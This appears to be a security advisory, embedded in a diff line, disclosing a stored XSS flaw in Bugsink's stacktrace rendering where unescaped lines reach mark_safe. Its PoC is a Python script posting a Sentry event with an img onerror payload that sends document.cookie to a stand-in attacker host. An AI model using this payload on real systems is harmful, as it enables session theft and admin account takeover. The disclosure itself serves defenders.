+ "details": "### Summary\n\nAn unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.\nThe payload executes only if a user explicitly views the affected Stacktrace in the web UI.\n\n### Details\n\nWhen Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.\n\n```python\n# issues.py:75-77 - fallback path, no escaping\nif len(pygmented) != len(lines):\n return lines # raw HTML returned here\n\n# issues.py:111-113 - unconditional mark_safe\nreturn [mark_safe(line) for line in result]\n```\n\n### Operational Signals\n\nExploitation attempts are likely to generate the diagnostic event:\n\n```\n\"Pygments line count mismatch, falling back to unformatted code\"\n```\n\nInstallations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)\nmay see this message as an issue. While the condition can occur benignly, unexpected\noccurrences, especially from unusual languages (specifically ruby), warrant review.\n\n\n### PoC\n\nSend a Sentry event to `/api/<project-id>/store/` with a valid DSN:\n\n```python\nimport requests\n\npayload = {\n \"exception\": {\"values\": [{\"stacktrace\": {\"frames\": [{\n \"filename\": \"app.rb\",\n \"lineno\": 2,\n \"pre_context\": [\"<<~HEREDOC\", \" foo\", \"HEREDOC\"],\n \"context_line\": \"<img src=x onerror=fetch('//attacker/?c='+document.cookie)>\",\n \"post_context\": []\n }]}}]}\n}\n\nrequests.post(\n \"http://bugsink-host/api/<project-id>/store/\",\n json=payload,\n headers={\"X-Sentry-Auth\": \"Sentry sentry_key=<dsn-public-key>, sentry_version=7\"}\n)\n```\n\nOpen the event in the bugsink UI as any admin. Cookie exfiltrates immediately.\n\n### Impact\n\nThis is a stored XSS vulnerability.\n\nSuccessful exploitation requires:\n\n* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).\n* The Bugsink ingest endpoint is reachable to the attacker.\n* An administrator explicitly views the crafted event in the UI.\n\nUnder those conditions, the attacker can execute JavaScript in the administrator’s browser\nand act with that user’s privileges within Bugsink.",
0 commit comments